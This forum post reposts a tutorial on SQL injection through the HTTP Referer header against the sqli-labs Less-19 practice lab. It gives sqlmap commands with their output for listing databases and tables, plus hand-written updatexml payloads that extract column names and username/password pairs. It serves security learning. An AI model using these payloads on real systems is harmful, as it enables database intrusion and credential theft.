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Sqlmap之Referer注入(手动+自动)

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发表于 2021-7-6 14:44:27 | 显示全部楼层 |阅读模式
原文链接:Sqlmap之Referer注入(手动+自动)
一、检测是否存在注入
1、通过BurpSuite抓包,将封包内容保存到referer.txt
  1. POST /sqli/Less-19/ HTTP/1.1
  2. Host: 192.168.139.129
  3. Content-Length: 38
  4. Cache-Control: max-age=0
  5. Upgrade-Insecure-Requests: 1
  6. Origin: http://192.168.139.129
  7. Content-Type: application/x-www-form-urlencoded
  8. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
  9. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  10. Referer: http://192.168.139.129/sqli/Less-19/
  11. Accept-Encoding: gzip, deflate
  12. Accept-Language: zh-CN,zh;q=0.9
  13. Cookie: PHPSESSID=6t4bb3nb4rarqod4j073m038h4
  14. Connection: close


  15. uname=admin&passwd=admin&submit=Submit
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2、检测是否存在注入
  1. sqlmap -r /home/aiyou/桌面/referer1.txt --referer "http://192.168.139.129/sqli/Less-19/" --level 3
  2. --level 3:3级以上才会检测请求头信息
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运行结果:

  1. parameter 'Referer' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
  2. sqlmap identified the following injection point(s) with a total of 6329 HTTP(s) requests:
  3. ---
  4. Parameter: Referer (Referer)
  5.     Type: boolean-based blind
  6.     Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
  7.     Payload: http://192.168.139.129/sqli/Less-19/' RLIKE (SELECT (CASE WHEN (5183=5183) THEN 0x687474703a2f2f3139322e3136382e3133392e3132392f73716c692f4c6573732d31392f ELSE 0x28 END)) AND 'qIKO'='qIKO


  8.     Type: error-based
  9.     Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
  10.     Payload: http://192.168.139.129/sqli/Less-19/' AND EXTRACTVALUE(1237,CONCAT(0x5c,0x7171717671,(SELECT (ELT(1237=1237,1))),0x7171787871)) AND 'fmnH'='fmnH


  11.     Type: time-based blind
  12.     Title: MySQL >= 5.0.12 RLIKE time-based blind
  13.     Payload: http://192.168.139.129/sqli/Less-19/' RLIKE SLEEP(5) AND 'JGUO'='JGUO
  14. ---
  15. [17:46:44] [INFO] the back-end DBMS is MySQL
  16. web application technology: Nginx 1.15.11, PHP 5.4.45
  17. back-end DBMS: MySQL >= 5.1
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二、获取数据库名字
qlmap -r /home/aiyou/桌面/referer1.txt --referer "http://192.168.139.129/sqli/Less-19/" --level 3 --dbs

  1. 运行结果:
  2. [16:47:27] [INFO] retrieved: pikachu
  3. [16:47:48] [INFO] retrieved:
  4. [16:47:49] [INFO] retrieved: security
  5. [16:48:13] [INFO] retrieved:
  6. [16:48:13] [INFO] retrieved: sys
  7. [16:48:24] [INFO] retrieved:
  8. [16:48:24] [INFO] retrieved: www_dgdg_com
  9. [16:49:13] [INFO] retrieved:
  10. [16:49:14] [INFO] retrieved: www_zm_com
  11. available databases [10]:
  12. [*] challenges
  13. [*] dvwa
  14. [*] information_schema
  15. [*] mysql
  16. [*] performance_schema
  17. [*] pikachu
  18. [*] security
  19. [*] sys
  20. [*] www_dgdg_com
  21. [*] www_zm_com


  22. [16:49:58] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.139.129'
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三、获取表名

sqlmap -r /home/aiyou/桌面/referer1.txt --referer "http://192.168.139.129/sqli/Less-19/" --level 3 -D security --tables

  1. 运行结果:
  2. parameter 'Referer' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
  3. sqlmap identified the following injection point(s) with a total of 17409 HTTP(s) requests:
  4. ---
  5. Parameter: Referer (Referer)
  6.     Type: boolean-based blind
  7.     Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
  8.     Payload: http://192.168.139.129/sqli/Less-19/' RLIKE (SELECT (CASE WHEN (7519=7519) THEN 0x687474703a2f2f3139322e3136382e3133392e3132392f73716c692f4c6573732d31392f ELSE 0x28 END)) AND 'jkuO'='jkuO


  9.     Type: error-based
  10.     Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
  11.     Payload: http://192.168.139.129/sqli/Less-19/' AND EXTRACTVALUE(6597,CONCAT(0x5c,0x7178627071,(SELECT (ELT(6597=6597,1))),0x7176767071)) AND 'Czdo'='Czdo


  12.     Type: time-based blind
  13.     Title: MySQL >= 5.0.12 RLIKE time-based blind
  14.     Payload: http://192.168.139.129/sqli/Less-19/' RLIKE SLEEP(5) AND 'zQQA'='zQQA
  15. ---
  16. [08:54:30] [INFO] the back-end DBMS is MySQL
  17. web application technology: PHP 5.4.45, Nginx 1.15.11
  18. back-end DBMS: MySQL >= 5.1
  19. [08:54:30] [INFO] fetching tables for database: 'security'
  20. [08:54:30] [WARNING] the SQL query provided does not return any output
  21. [08:54:30] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
  22. [08:54:30] [WARNING] the SQL query provided does not return any output
  23. [08:54:30] [INFO] fetching number of tables for database 'security'
  24. [08:54:30] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval                                                         
  25. [08:54:30] [INFO] retrieved: 4
  26. [08:54:30] [INFO] retrieved: emails
  27. [08:54:30] [INFO] retrieved: referers
  28. [08:54:31] [INFO] retrieved: uagents
  29. [08:54:31] [INFO] retrieved: users
  30. Database: security
  31. [4 tables]
  32. +----------+
  33. | emails   |
  34. | referers |
  35. | uagents  |
  36. | users    |
  37. +----------+


  38. [08:54:31] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.139.129'  
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四、手动测试
1、获取字段名

sqlmap -r /home/aiyou/桌面/referer1.txt --referer="http://192.168.139.129/sqli/Less-19/" --level 3  -D security -T users --columns
这里跑不出来了,大家可以继续手动测试一下。。。
2、手动测试获取字段

' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name = 'users' and table_schema = database() limit 3,1),0x7e),1) and '1'='1
3、手动测试获取字段内容

1' and updatexml(1,concat(0x7e,(select concat_ws('~',username,password) from users limit 0,1),0x7e),1) and '1'='1


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